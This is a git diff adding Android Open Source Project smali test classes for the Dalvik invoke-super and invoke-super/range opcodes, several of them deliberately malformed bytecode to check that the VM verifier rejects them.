diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali
new file mode 100644
index 0000000..e89efd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_5.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_5;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali
new file mode 100644
index 0000000..b4a4aab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_6.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_6;
+.super  Ldot/junit/opcodes/invoke_super/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/ATest;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali
new file mode 100644
index 0000000..5ac73c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_7.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali
new file mode 100644
index 0000000..22ef2a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_8.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali
new file mode 100644
index 0000000..542aaa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_9.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali
new file mode 100644
index 0000000..00e0a1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali
new file mode 100644
index 0000000..1241479
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali
new file mode 100644
index 0000000..b1eec38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali
new file mode 100644
index 0000000..fcbdb01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super/range {v0}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;-><clinit>()V
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali
new file mode 100644
index 0000000..dc0925e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali
new file mode 100644
index 0000000..5dbddc1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+       move-object v4, v5
+       invoke-super/range {v4..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali
new file mode 100644
index 0000000..a5666f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali
new file mode 100644
index 0000000..4cdeba5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali

@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
+    move-object v3, v6
+    invoke-super/range {v3..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali
new file mode 100644
index 0000000..581cb12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;->testN()V
+       return-void
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali
new file mode 100644
index 0000000..77a6edb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali

@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali
new file mode 100644
index 0000000..4a1b187
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali
new file mode 100644
index 0000000..0477975
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali
new file mode 100644
index 0000000..6d70e36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali
new file mode 100644
index 0000000..012dd41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali
new file mode 100644
index 0000000..678ac82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TPlain;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali
new file mode 100644
index 0000000..961cde9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+

